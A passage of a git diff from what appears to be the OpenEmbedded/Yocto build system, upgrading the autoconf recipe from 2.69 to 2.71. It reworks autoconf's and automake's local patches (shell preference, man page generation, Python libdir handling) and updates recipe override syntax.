--[AC_ARG_VAR(XMKMF, [Path to xmkmf, Makefile generator for X Window System])dnl
--rm -f -r conftest.dir
--if mkdir conftest.dir; then
-- cd conftest.dir
-- cat >Imakefile <<'_ACEOF'
--incroot:
-- @echo incroot='${INCROOT}'
--usrlibdir:
-- @echo usrlibdir='${USRLIBDIR}'
--libdir:
-- @echo libdir='${LIBDIR}'
--_ACEOF
-- if (export CC; ${XMKMF-xmkmf}) >/dev/null 2>/dev/null && test -f Makefile; then
-- # GNU make sometimes prints "make[1]: Entering ...", which would confuse us.
-- for ac_var in incroot usrlibdir libdir; do
-- eval "ac_im_$ac_var=\`\${MAKE-make} $ac_var 2>/dev/null | sed -n 's/^$ac_var=//p'\`"
-- done
-- # Open Windows xmkmf reportedly sets LIBDIR instead of USRLIBDIR.
-- for ac_extension in a so sl dylib la dll; do
-- if test ! -f "$ac_im_usrlibdir/libX11.$ac_extension" &&
-- test -f "$ac_im_libdir/libX11.$ac_extension"; then
-- ac_im_usrlibdir=$ac_im_libdir; break
-- fi
-- done
-- # Screen out bogus values from the imake configuration. They are
-- # bogus both because they are the default anyway, and because
-- # using them would break gcc on systems where it needs fixed includes.
-- case $ac_im_incroot in
-- /usr/include) ac_x_includes= ;;
-- *) test -f "$ac_im_incroot/X11/Xos.h" && ac_x_includes=$ac_im_incroot;;
-- esac
-- case $ac_im_usrlibdir in
-- /usr/lib | /usr/lib64 | /lib | /lib64) ;;
-- *) test -d "$ac_im_usrlibdir" && ac_x_libraries=$ac_im_usrlibdir ;;
-- esac
-- fi
-- cd ..
-- rm -f -r conftest.dir
--fi
--])# _AC_PATH_X_XMKMF
--
--
- # _AC_PATH_X_DIRECT
- # -----------------
- # Internal subroutine of _AC_PATH_X.
-@@ -213,44 +166,7 @@ fi
- m4_define([_AC_PATH_X_DIRECT],
- [# Standard set of common directories for X headers.
- # Check X11 before X11Rn because it is often a symlink to the current release.
--ac_x_header_dirs='
--/usr/X11/include
--/usr/X11R7/include
--/usr/X11R6/include
--/usr/X11R5/include
--/usr/X11R4/include
--
--/usr/include/X11
--/usr/include/X11R7
--/usr/include/X11R6
--/usr/include/X11R5
--/usr/include/X11R4
--
--/usr/local/X11/include
--/usr/local/X11R7/include
--/usr/local/X11R6/include
--/usr/local/X11R5/include
--/usr/local/X11R4/include
--
--/usr/local/include/X11
--/usr/local/include/X11R7
--/usr/local/include/X11R6
--/usr/local/include/X11R5
--/usr/local/include/X11R4
--
--/usr/X386/include
--/usr/x386/include
--/usr/XFree86/include/X11
--
--/usr/include
--/usr/local/include
--/usr/unsupported/include
--/usr/athena/include
--/usr/local/x11r5/include
--/usr/lpp/Xamples/include
--
--/usr/openwin/include
--/usr/openwin/share/include'
-+ac_x_header_dirs=''
-
- if test "$ac_x_includes" = no; then
- # Guess where to find include files, by looking for Xlib.h.
-@@ -299,7 +215,6 @@ AC_DEFUN([_AC_PATH_X],
- [AC_CACHE_VAL(ac_cv_have_x,
- [# One or both of the vars are not set, and there is no cached value.
- ac_x_includes=no ac_x_libraries=no
--_AC_PATH_X_XMKMF
- _AC_PATH_X_DIRECT
- case $ac_x_includes,$ac_x_libraries in #(
- no,* | *,no | *\'*)
diff --git a/meta/recipes-devtools/autoconf/autoconf/man-host-perl.patch b/meta/recipes-devtools/autoconf/autoconf/man-host-perl.patch
new file mode 100644
index 0000000000..c6c135625d
--- /dev/null
+++ b/meta/recipes-devtools/autoconf/autoconf/man-host-perl.patch
@@ -0,0 +1,24 @@
+Don't use the target perl when regenerating the man pages.
+
+Upstream-Status: Inappropriate
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+diff --git a/man/local.mk b/man/local.mk
+index e69858b1..78c68ab5 100644
+--- a/man/local.mk
++++ b/man/local.mk
+@@ -67,13 +67,12 @@ SUFFIXES += .w .1
+ @echo "Updating man page $@"
+ $(MKDIR_P) $(@D)
+ PATH="$(top_srcdir)/man$(PATH_SEPARATOR)$$PATH"; \
+- PERL="$(PERL)"; \
+ PACKAGE_NAME="$(PACKAGE_NAME)"; \
+ VERSION="$(VERSION)"; \
+ RELEASE_YEAR="$(RELEASE_YEAR)"; \
+ top_srcdir="$(top_srcdir)"; \
+ channeldefs_pm="$(channeldefs_pm)"; \
+- export PATH PERL PACKAGE_NAME VERSION RELEASE_YEAR; \
++ export PATH PACKAGE_NAME VERSION RELEASE_YEAR; \
+ export top_srcdir channeldefs_pm; \
+ $(HELP2MAN) \
+ --include=$(srcdir)/$*.x \
diff --git a/meta/recipes-devtools/autoconf/autoconf/no-man.patch b/meta/recipes-devtools/autoconf/autoconf/no-man.patch
new file mode 100644
index 0000000000..2c44375f43
--- /dev/null
+++ b/meta/recipes-devtools/autoconf/autoconf/no-man.patch
@@ -0,0 +1,21 @@
+For native builds we don't care about the documentation, and this would
+otherwise pull in a dependency on help2man.
+
+Upstream-Status: Inappropriate
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+diff --git a/Makefile.in b/Makefile.in
+index 146e8e3..a1827c1 100644
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -763,10 +762,0 @@ dist_buildaux_SCRIPTS = \
+-dist_man_MANS = \
+- man/autoconf.1 \
+- man/autoheader.1 \
+- man/autom4te.1 \
+- man/autoreconf.1 \
+- man/autoscan.1 \
+- man/autoupdate.1 \
+- man/ifnames.1
+-
+-
diff --git a/meta/recipes-devtools/autoconf/autoconf/performance.patch b/meta/recipes-devtools/autoconf/autoconf/performance.patch
deleted file mode 100644
index 1842fe92b7..0000000000
--- a/meta/recipes-devtools/autoconf/autoconf/performance.patch
+++ /dev/null
@@ -1,60 +0,0 @@
-The check for solaris 'print' causes significant problems on a linux machine
-with dash as /bin/sh since it triggers the execution of "print" which on some
-linux systems is a perl script which is part of mailcap. Worse, this perl
-script calls "which file" and if successful ignores the path file was found
-in and just runs "file" without a path. Each exection causes PATH to be searched.
-
-Simply assuming the shell's printf function works cuts out all the fork overhead
-and when parallel tasks are running, this overhead appears to be significant.
-
-RP
-2015/11/28
-Upstream-Status: Inappropriate
-
-Index: autoconf-2.69/lib/m4sugar/m4sh.m4
-===================================================================
---- autoconf-2.69.orig/lib/m4sugar/m4sh.m4
-+++ autoconf-2.69/lib/m4sugar/m4sh.m4
-@@ -1045,40 +1045,8 @@ m4_defun([_AS_ECHO_PREPARE],
- [[as_nl='
- '
- export as_nl
--# Printing a long string crashes Solaris 7 /usr/bin/printf.
--as_echo='\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\'
--as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo
--as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo$as_echo
--# Prefer a ksh shell builtin over an external printf program on Solaris,
--# but without wasting forks for bash or zsh.
--if test -z "$BASH_VERSION$ZSH_VERSION" \
-- && (test "X`print -r -- $as_echo`" = "X$as_echo") 2>/dev/null; then
-- as_echo='print -r --'
-- as_echo_n='print -rn --'
--elif (test "X`printf %s $as_echo`" = "X$as_echo") 2>/dev/null; then
-- as_echo='printf %s\n'
-- as_echo_n='printf %s'
--else
-- if test "X`(/usr/ucb/echo -n -n $as_echo) 2>/dev/null`" = "X-n $as_echo"; then
-- as_echo_body='eval /usr/ucb/echo -n "$][1$as_nl"'
-- as_echo_n='/usr/ucb/echo -n'
-- else
-- as_echo_body='eval expr "X$][1" : "X\\(.*\\)"'
-- as_echo_n_body='eval
-- arg=$][1;
-- case $arg in @%:@(
-- *"$as_nl"*)
-- expr "X$arg" : "X\\(.*\\)$as_nl";
-- arg=`expr "X$arg" : ".*$as_nl\\(.*\\)"`;;
-- esac;
-- expr "X$arg" : "X\\(.*\\)" | tr -d "$as_nl"
-- '
-- export as_echo_n_body
-- as_echo_n='sh -c $as_echo_n_body as_echo'
-- fi
-- export as_echo_body
-- as_echo='sh -c $as_echo_body as_echo'
--fi
-+as_echo='printf %s\n'
-+as_echo_n='printf %s'
- ]])# _AS_ECHO_PREPARE
-
-
diff --git a/meta/recipes-devtools/autoconf/autoconf/preferbash.patch b/meta/recipes-devtools/autoconf/autoconf/preferbash.patch
index fa76ee9bdd..cfb145a279 100644
--- a/meta/recipes-devtools/autoconf/autoconf/preferbash.patch
+++ b/meta/recipes-devtools/autoconf/autoconf/preferbash.patch
@@ -1,25 +1,38 @@
-This value is used to determine CONFIG_SHELL and SHELL which may get exported into
-scripts shared via sstate onto other systems.
+From 0aac3047cd7681d610b22d79501c297fa3433148 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@intel.com>
+Date: Thu, 12 Mar 2020 17:25:41 +0000
+Subject: [PATCH 2/7] m4sh: prefer bash over sh
-Some systems have /bin/sh -> dash and others /bin/sh -> bash. Bash is preferred
-but sometimes we can sometimes end up exporting /bin/sh yet use bashisms.
+_AS_DETECT_BETTER_SHELL looks for a good shell to use, and tries to look for
+'sh' before 'bash'. Whilst for many systems sh is a symlink to bash,
+there are many where sh is a symlink to a more minimal sh implementation.
-This patch puts bash first in the search results which avoids the bash/dash confusion.
+For example, Debian by default has /bin/sh -> /bin/dash: dash is a faster
+shell to start (which makes a notable difference to boot speed) but is not
+as fast as bash at executing long scripts (and configure scripts are not
+known for their conciseness).
-RP 2012/9/23
+Change the search order to bash then sh, so that a known-good shell (bash)
+is used if available over something which is merely POSIX compliant.
-Upstream-Status: Inappropriate [OE specific configuration]
+Upstream-Status: Inappropriate [oe specific]
+---
+ lib/m4sugar/m4sh.m4 | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
-Index: autoconf-2.69/lib/m4sugar/m4sh.m4
-===================================================================
---- autoconf-2.69.orig/lib/m4sugar/m4sh.m4 2012-03-07 17:35:26.000000000 +0000
-+++ autoconf-2.69/lib/m4sugar/m4sh.m4 2013-09-23 16:12:38.853597515 +0000
-@@ -229,7 +229,7 @@
+diff --git a/lib/m4sugar/m4sh.m4 b/lib/m4sugar/m4sh.m4
+index 9d543952..84ef84a9 100644
+--- a/lib/m4sugar/m4sh.m4
++++ b/lib/m4sugar/m4sh.m4
+@@ -230,7 +230,7 @@ dnl Remove any tests from suggested that are also required
[_AS_PATH_WALK([/bin$PATH_SEPARATOR/usr/bin$PATH_SEPARATOR$PATH],
[case $as_dir in @%:@(
/*)
- for as_base in sh bash ksh sh5; do
+ for as_base in bash sh ksh sh5; do
# Try only shells that exist, to save several forks.
- as_shell=$as_dir/$as_base
+ as_shell=$as_dir$as_base
AS_IF([{ test -f "$as_shell" || test -f "$as_shell.exe"; } &&
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/autoconf/autoconf/program_prefix.patch b/meta/recipes-devtools/autoconf/autoconf/program_prefix.patch
index 978a401f0a..657cbb351b 100644
--- a/meta/recipes-devtools/autoconf/autoconf/program_prefix.patch
+++ b/meta/recipes-devtools/autoconf/autoconf/program_prefix.patch
@@ -1,20 +1,27 @@
-Upstream-Status: Pending
+From f4f19a5c03e8ae3b9cc93d24b76694f4b7b2eb76 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@intel.com>
+Date: Thu, 12 Mar 2020 17:28:38 +0000
+Subject: [PATCH 3/7] program_prefix.patch
-#
-# Patch managed by http://www.mn-logistik.de/unsupported/pxa250/patcher
-#
+Upstream-Status: Inappropriate [oe specific]
+Signed-off-by: Ross Burton <ross.burton@intel.com>
+---
+ lib/autoconf/general.m4 | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
---- autoconf-2.57/lib/autoconf/general.m4~program_prefix
-+++ autoconf-2.57/lib/autoconf/general.m4
-@@ -1676,8 +1676,9 @@
+diff --git a/lib/autoconf/general.m4 b/lib/autoconf/general.m4
+index 16f0d074..4c5e0b36 100644
+--- a/lib/autoconf/general.m4
++++ b/lib/autoconf/general.m4
+@@ -2070,7 +2070,7 @@ _AC_CANONICAL_SPLIT([target])
+
# The aliases save the names the user supplied, while $host etc.
# will get canonicalized.
- test -n "$target_alias" &&
-- test "$program_prefix$program_suffix$program_transform_name" = \
-- NONENONEs,x,x, &&
-+ test "$target_alias" != "$host_alias" &&
-+ test "$program_prefix$program_suffix$program_transform_name" = \
-+ NONENONEs,x,x, &&
+-test -n "$target_alias" &&
++test -n "$target_alias" && test "$target_alias" != "$host_alias" &&
+ test "$program_prefix$program_suffix$program_transform_name" = \
+ NONENONEs,x,x, &&
program_prefix=${target_alias}-[]dnl
- ])# AC_CANONICAL_TARGET
-
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/autoconf/autoconf/remove-usr-local-lib-from-m4.patch b/meta/recipes-devtools/autoconf/autoconf/remove-usr-local-lib-from-m4.patch
index 55d2e2fe7e..f38780130a 100644
--- a/meta/recipes-devtools/autoconf/autoconf/remove-usr-local-lib-from-m4.patch
+++ b/meta/recipes-devtools/autoconf/autoconf/remove-usr-local-lib-from-m4.patch
@@ -1,17 +1,19 @@
-We have problem using hardcoded directories like /usr/local here
-which will be checked for cross builds. This is a special case which
-is valid for AIX only. We do not have AIX as one of our supported
-build host or target. Therefore we get rid of the hardcoded paths
-and make life easier for cross compilation process.
+From a08643ac3fef884900d6cfa161f0acec3ef104d1 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@intel.com>
+Date: Thu, 12 Mar 2020 17:25:37 +0000
+Subject: [PATCH 1/7] remove-usr-local-lib-from-m4.patch
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Upstream-Status: Inappropriate [oe specific]
+Signed-off-by: Ross Burton <ross.burton@intel.com>
+---
+ lib/autoconf/functions.m4 | 9 ---------
+ 1 file changed, 9 deletions(-)
-Upstream-Status: Inappropriate [Upstream does care for AIX while we may not]
-Index: autoconf-2.68/lib/autoconf/functions.m4
-===================================================================
---- autoconf-2.68.orig/lib/autoconf/functions.m4 2010-09-22 14:52:19.000000000 -0700
-+++ autoconf-2.68/lib/autoconf/functions.m4 2011-08-03 11:57:05.822199513 -0700
-@@ -749,15 +749,6 @@ if test $ac_have_func = no; then
+diff --git a/lib/autoconf/functions.m4 b/lib/autoconf/functions.m4
+index 12f60b99..07da7941 100644
+--- a/lib/autoconf/functions.m4
++++ b/lib/autoconf/functions.m4
+@@ -801,15 +801,6 @@ if test $ac_have_func = no; then
[LIBS="-lutil $LIBS" ac_have_func=yes ac_cv_func_getloadavg_setgid=yes])
fi
@@ -27,3 +29,6 @@ Index: autoconf-2.68/lib/autoconf/functions.m4
# Make sure it is really in the library, if we think we found it,
# otherwise set up the replacement function.
AC_CHECK_FUNCS(getloadavg, [],
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/autoconf/autoconf_2.69.bb b/meta/recipes-devtools/autoconf/autoconf_2.69.bb
deleted file mode 100644
index 2e1b9bdc90..0000000000
--- a/meta/recipes-devtools/autoconf/autoconf_2.69.bb
+++ /dev/null
@@ -1,31 +0,0 @@
-require autoconf.inc
-
-PR = "r11"
-
-LICENSE = "GPLv2 & GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe \
- file://COPYINGv3;md5=d32239bcb673463ab874e80d47fae504"
-
-SRC_URI = "${GNU_MIRROR}/autoconf/autoconf-${PV}.tar.gz \
- file://program_prefix.patch \
- file://check-automake-cross-warning.patch \
- file://autoreconf-exclude.patch \
- file://autoreconf-gnuconfigize.patch \
- file://config_site.patch \
- file://remove-usr-local-lib-from-m4.patch \
- file://preferbash.patch \
- file://autotest-automake-result-format.patch \
- file://add_musl_config.patch \
- file://performance.patch \
- file://AC_HEADER_MAJOR-port-to-glibc-2.25.patch \
- file://autoconf-replace-w-option-in-shebangs-with-modern-use-warnings.patch \
- "
-
-SRC_URI[md5sum] = "82d05e03b93e45f5a39b828dc9c6c29b"
-SRC_URI[sha256sum] = "954bd69b391edc12d6a4a51a2dd1476543da5c6bbf05a95b59dc0dd6fd4c2969"
-
-SRC_URI_append_class-native = " file://fix_path_xtra.patch"
-
-EXTRA_OECONF += "ac_cv_path_M4=m4 ac_cv_prog_TEST_EMACS=no"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/autoconf/autoconf_2.71.bb b/meta/recipes-devtools/autoconf/autoconf_2.71.bb
new file mode 100644
index 0000000000..324e6f8de5
--- /dev/null
+++ b/meta/recipes-devtools/autoconf/autoconf_2.71.bb
@@ -0,0 +1,81 @@
+SUMMARY = "A GNU tool that produce shell scripts to automatically configure software"
+DESCRIPTION = "Autoconf is an extensible package of M4 macros that produce shell scripts to automatically \
+configure software source code packages. Autoconf creates a configuration script for a package from a template \
+file that lists the operating system features that the package can use, in the form of M4 macro calls."
+LICENSE = "GPLv3+"
+HOMEPAGE = "http://www.gnu.org/software/autoconf/"
+SECTION = "devel"
+DEPENDS = "m4-native autoconf-native automake-native gnu-config-native help2man-native"
+DEPENDS:remove:class-native = "autoconf-native automake-native help2man-native"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=cc3f3a7596cb558bbd9eb7fbaa3ef16c \
+ file://COPYINGv3;md5=1ebbd3e34237af26da5dc08a4e440464"
+
+SRC_URI = "${GNU_MIRROR}/autoconf/${BP}.tar.gz \
+ file://program_prefix.patch \
+ file://autoreconf-exclude.patch \
+ file://remove-usr-local-lib-from-m4.patch \
+ file://preferbash.patch \
+ file://autotest-automake-result-format.patch \
+ file://man-host-perl.patch \
+ "
+SRC_URI:append:class-native = " file://no-man.patch"
+
+SRC_URI[sha256sum] = "431075ad0bf529ef13cb41e9042c542381103e80015686222b8a9d4abef42a1c"
+
+RDEPENDS:${PN} = "m4 gnu-config \
+ perl \
+ perl-module-bytes \
+ perl-module-carp \
+ perl-module-constant \
+ perl-module-data-dumper \
+ perl-module-errno \
+ perl-module-exporter \
+ perl-module-file-basename \
+ perl-module-file-compare \
+ perl-module-file-copy \
+ perl-module-file-find \
+ perl-module-file-glob \
+ perl-module-file-path \
+ perl-module-file-spec \
+ perl-module-file-spec-unix \
+ perl-module-file-stat \
+ perl-module-file-temp \
+ perl-module-getopt-long \
+ perl-module-io-file \
+ perl-module-list-util \
+ perl-module-overloading \
+ perl-module-posix \
+ perl-module-scalar-util \
+ perl-module-symbol \
+ perl-module-thread-queue \
+ perl-module-threads \
+ "
+RDEPENDS:${PN}:class-native = "m4-native gnu-config-native hostperl-runtime-native"
+
+inherit autotools texinfo
+
+PERL = "${USRBINPATH}/perl"
+PERL:class-native = "/usr/bin/env perl"
+PERL:class-nativesdk = "/usr/bin/env perl"
+
+CACHED_CONFIGUREVARS += "ac_cv_path_PERL='${PERL}'"
+
+EXTRA_OECONF += "ac_cv_path_M4=m4 ac_cv_prog_TEST_EMACS=no"
+
+# As autoconf installs its own config.* files, ensure that they're always up to date.
+update_gnu_config() {
+ install -m 0755 ${STAGING_DATADIR_NATIVE}/gnu-config/config.guess ${S}/build-aux
+ install -m 0755 ${STAGING_DATADIR_NATIVE}/gnu-config/config.sub ${S}/build-aux
+}
+do_configure[prefuncs] += "update_gnu_config"
+
+do_configure:class-native() {
+ oe_runconf
+}
+
+do_install:append() {
+ rm -rf ${D}${datadir}/emacs
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/automake/automake.inc b/meta/recipes-devtools/automake/automake.inc
index 87cedc9838..ceca16ab6a 100644
--- a/meta/recipes-devtools/automake/automake.inc
+++ b/meta/recipes-devtools/automake/automake.inc
@@ -18,4 +18,4 @@ do_configure() {
export AUTOMAKE = "${@bb.utils.which('automake', d.getVar('PATH'))}"
-FILES_${PN} += "${datadir}/automake* ${datadir}/aclocal*"
+FILES:${PN} += "${datadir}/automake* ${datadir}/aclocal*"
diff --git a/meta/recipes-devtools/automake/automake/0001-automake-Update-for-python.m4-to-respect-libdir.patch b/meta/recipes-devtools/automake/automake/0001-automake-Update-for-python.m4-to-respect-libdir.patch
new file mode 100644
index 0000000000..d28045618e
--- /dev/null
+++ b/meta/recipes-devtools/automake/automake/0001-automake-Update-for-python.m4-to-respect-libdir.patch
@@ -0,0 +1,83 @@
+From dff74c5b19935cc11b30116a7ae9c8affdff246b Mon Sep 17 00:00:00 2001
+From: Kumar Gala <galak@kernel.crashing.org>
+Date: Thu, 11 Aug 2011 01:26:33 -0500
+Subject: [PATCH] automake: Update for python.m4 to respect libdir
+
+Upstream-Status: Inappropriate [embedded specific]
+
+Signed-off-by: Kumar Gala <galak@kernel.crashing.org>
+
+Updated for automake-1.12.6
+
+Signed-off-by: Marko Lindqvist <cazfi74@gmail.com>
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ m4/python.m4 | 24 ++++++------------------
+ 1 file changed, 6 insertions(+), 18 deletions(-)
+
+diff --git a/m4/python.m4 b/m4/python.m4
+index 4e7de9427..40fc5b396 100644
+--- a/m4/python.m4
++++ b/m4/python.m4
+@@ -96,6 +96,8 @@ AC_DEFUN([AM_PATH_PYTHON],
+ [am_cv_python_version=`$PYTHON -c "import sys; print ('%u.%u' % sys.version_info[[:2]])"`])
+ AC_SUBST([PYTHON_VERSION], [$am_cv_python_version])
+
++ AC_SUBST([PYTHON_LIB_PREFIX], ['${libdir}'])
++
+ dnl At times, e.g., when building shared libraries, you may want
+ dnl to know which OS platform Python thinks this is.
+ dnl
+@@ -251,14 +253,7 @@ except ImportError:
+ else
+ am_py_prefix=$am_cv_python_prefix
+ fi
+- am_cv_python_pythondir=`$PYTHON -c "
+-$am_python_setup_sysconfig
+-if can_use_sysconfig:
+- sitedir = sysconfig.get_path('purelib', vars={'base':'$am_py_prefix'})
+-else:
+- from distutils import sysconfig
+- sitedir = sysconfig.get_python_lib(0, 0, prefix='$am_py_prefix')
+-sys.stdout.write(sitedir)"`
++ am_cv_python_pythondir=`echo "$PYTHON_LIB_PREFIX/python$PYTHON_VERSION/site-packages"`
+ #
+ case $am_cv_python_pythondir in
+ $am_py_prefix*)
+@@ -268,7 +263,7 @@ sys.stdout.write(sitedir)"`
+ *)
+ case $am_py_prefix in
+ /usr|/System*) ;;
+- *) am_cv_python_pythondir="\${PYTHON_PREFIX}/lib/python$PYTHON_VERSION/site-packages"
++ *) am_cv_python_pythondir=$PYTHON_LIB_PREFIX/python$PYTHON_VERSION/site-packages
+ ;;
+ esac
+ ;;
+@@ -293,14 +288,7 @@ sys.stdout.write(sitedir)"`
+ else
+ am_py_exec_prefix=$am_cv_python_exec_prefix
+ fi
+- am_cv_python_pyexecdir=`$PYTHON -c "
+-$am_python_setup_sysconfig
+-if can_use_sysconfig:
+- sitedir = sysconfig.get_path('platlib', vars={'platbase':'$am_py_exec_prefix'})
+-else:
+- from distutils import sysconfig
+- sitedir = sysconfig.get_python_lib(1, 0, prefix='$am_py_exec_prefix')
+-sys.stdout.write(sitedir)"`
++ am_cv_python_pyexecdir=`echo "$PYTHON_LIB_PREFIX/python$PYTHON_VERSION/site-packages"`
+ #
+ case $am_cv_python_pyexecdir in
+ $am_py_exec_prefix*)
+@@ -310,7 +298,7 @@ sys.stdout.write(sitedir)"`
+ *)
+ case $am_py_exec_prefix in
+ /usr|/System*) ;;
+- *) am_cv_python_pyexecdir="\${PYTHON_EXEC_PREFIX}/lib/python$PYTHON_VERSION/site-packages"
++ *) am_cv_python_pyexecdir=$PYTHON_LIB_PREFIX/python$PYTHON_VERSION/site-packages
+ ;;
+ esac
+ ;;
+--
+2.20.1
+
diff --git a/meta/recipes-devtools/automake/automake/automake-replace-w-option-in-shebangs-with-modern-use-warnings.patch b/meta/recipes-devtools/automake/automake/automake-replace-w-option-in-shebangs-with-modern-use-warnings.patch
deleted file mode 100644
index 0e84c4bf86..0000000000
--- a/meta/recipes-devtools/automake/automake/automake-replace-w-option-in-shebangs-with-modern-use-warnings.patch
+++ /dev/null
@@ -1,60 +0,0 @@
-From 857c843d4bcf576467b505eb05a47f3e7d32caaa Mon Sep 17 00:00:00 2001
-From: Serhii Popovych <spopovyc@cisco.com>
-Date: Wed, 10 Feb 2016 17:07:32 +0000
-Subject: [PATCH] perl: Replace -w option in shebangs with modern "use
- warnings" In some builds we might provide ac_cv_path_PERL as /usr/bin/env
- perl to use newer version of the perl from users PATH rather than older from
- standard system path.
-
-However using /usr/bin/env perl -w from shebang line isn't
-possible because it translates to something like
-/usr/bin/env -w perl and env complains about illegal option.
-
-To address this we can remove -w option from perl shebang
-line and add "use warnings" statement.
-
-Upstream-Status: Pending
-Signed-off-by: Serhii Popovych <spopovyc@cisco.com>
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
-
----
- bin/aclocal.in | 3 ++-
- bin/automake.in | 3 ++-
- 2 files changed, 4 insertions(+), 2 deletions(-)
-
-diff --git a/bin/aclocal.in b/bin/aclocal.in
-index 9a20325..bd185d4 100644
---- a/bin/aclocal.in
-+++ b/bin/aclocal.in
-@@ -1,4 +1,4 @@
--#!@PERL@ -w
-+#!@PERL@
- # aclocal - create aclocal.m4 by scanning configure.ac -*- perl -*-
- # @configure_input@
- # Copyright (C) 1996-2020 Free Software Foundation, Inc.
-@@ -26,6 +26,7 @@ BEGIN
- }
-
- use strict;
-+use warnings;
-
- use Automake::Config;
- use Automake::General;
-diff --git a/bin/automake.in b/bin/automake.in
-index 5ed404a..d387b8e 100644
---- a/bin/automake.in
-+++ b/bin/automake.in
-@@ -1,4 +1,4 @@
--#!@PERL@ -w
-+#!@PERL@
- # automake - create Makefile.in from Makefile.am -*- perl -*-
- # @configure_input@
- # Copyright (C) 1994-2020 Free Software Foundation, Inc.
-@@ -23,6 +23,7 @@
- package Automake;
-
- use strict;
-+use warnings;
-
- BEGIN
- {
diff --git a/meta/recipes-devtools/automake/automake/python-libdir.patch b/meta/recipes-devtools/automake/automake/python-libdir.patch
deleted file mode 100644
index ee1f725f76..0000000000
--- a/meta/recipes-devtools/automake/automake/python-libdir.patch
+++ /dev/null
@@ -1,88 +0,0 @@
-From a80dacd5124d0713cf2c986b28d736e78dc6b0ca Mon Sep 17 00:00:00 2001
-From: Kumar Gala <galak@kernel.crashing.org>
-Date: Thu, 11 Aug 2011 01:26:33 -0500
-Subject: [PATCH] automake: Update for python.m4 to respect libdir
-
-Upstream-Status: Inappropriate [embedded specific]
-
-Signed-off-by: Kumar Gala <galak@kernel.crashing.org>
-
-Updated for automake-1.12.6
-
-Signed-off-by: Marko Lindqvist <cazfi74@gmail.com>
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- m4/python.m4 | 27 +++++++--------------------
- 1 file changed, 7 insertions(+), 20 deletions(-)
-
-diff --git a/m4/python.m4 b/m4/python.m4
-index 63c0a0e..7bbd2d2 100644
---- a/m4/python.m4
-+++ b/m4/python.m4
-@@ -94,12 +94,13 @@ AC_DEFUN([AM_PATH_PYTHON],
- [am_cv_python_version=`$PYTHON -c "import sys; sys.stdout.write(sys.version[[:3]])"`])
- AC_SUBST([PYTHON_VERSION], [$am_cv_python_version])
-
-- dnl Use the values of $prefix and $exec_prefix for the corresponding
-- dnl values of PYTHON_PREFIX and PYTHON_EXEC_PREFIX. These are made
-+ dnl Use the values of $prefix, $libdir and $exec_prefix for the corresponding
-+ dnl values of PYTHON_PREFIX PYTHON_LIB_PREFIX, and PYTHON_EXEC_PREFIX. These are made
- dnl distinct variables so they can be overridden if need be. However,
- dnl general consensus is that you shouldn't need this ability.
-
- AC_SUBST([PYTHON_PREFIX], ['${prefix}'])
-+ AC_SUBST([PYTHON_LIB_PREFIX], ['${libdir}'])
- AC_SUBST([PYTHON_EXEC_PREFIX], ['${exec_prefix}'])
-
- dnl At times (like when building shared libraries) you may want
-@@ -144,14 +145,7 @@ except ImportError:
- else
- am_py_prefix=$prefix
- fi
-- am_cv_python_pythondir=`$PYTHON -c "
--$am_python_setup_sysconfig
--if can_use_sysconfig:
-- sitedir = sysconfig.get_path('purelib', vars={'base':'$am_py_prefix'})
--else:
-- from distutils import sysconfig
-- sitedir = sysconfig.get_python_lib(0, 0, prefix='$am_py_prefix')
--sys.stdout.write(sitedir)"`
-+ am_cv_python_pythondir=`echo "$PYTHON_LIB_PREFIX/python$PYTHON_VERSION/site-packages"`
- case $am_cv_python_pythondir in
- $am_py_prefix*)
- am__strip_prefix=`echo "$am_py_prefix" | sed 's|.|.|g'`
-@@ -161,7 +155,7 @@ sys.stdout.write(sitedir)"`
- case $am_py_prefix in
- /usr|/System*) ;;
- *)
-- am_cv_python_pythondir=$PYTHON_PREFIX/lib/python$PYTHON_VERSION/site-packages
-+ am_cv_python_pythondir=$PYTHON_LIB_PREFIX/python$PYTHON_VERSION/site-packages
- ;;
- esac
- ;;
-@@ -186,14 +180,7 @@ sys.stdout.write(sitedir)"`
- else
- am_py_exec_prefix=$exec_prefix
- fi
-- am_cv_python_pyexecdir=`$PYTHON -c "
--$am_python_setup_sysconfig
--if can_use_sysconfig:
-- sitedir = sysconfig.get_path('platlib', vars={'platbase':'$am_py_prefix'})
--else:
-- from distutils import sysconfig
-- sitedir = sysconfig.get_python_lib(1, 0, prefix='$am_py_prefix')
--sys.stdout.write(sitedir)"`
-+ am_cv_python_pyexecdir=`echo "$PYTHON_LIB_PREFIX/python$PYTHON_VERSION/site-packages"`
- case $am_cv_python_pyexecdir in
- $am_py_exec_prefix*)
- am__strip_prefix=`echo "$am_py_exec_prefix" | sed 's|.|.|g'`
-@@ -203,7 +190,7 @@ sys.stdout.write(sitedir)"`
- case $am_py_exec_prefix in
- /usr|/System*) ;;
- *)
-- am_cv_python_pyexecdir=$PYTHON_EXEC_PREFIX/lib/python$PYTHON_VERSION/site-packages
-+ am_cv_python_pyexecdir=$PYTHON_LIB_PREFIX/python$PYTHON_VERSION/site-packages
- ;;
- esac
- ;;
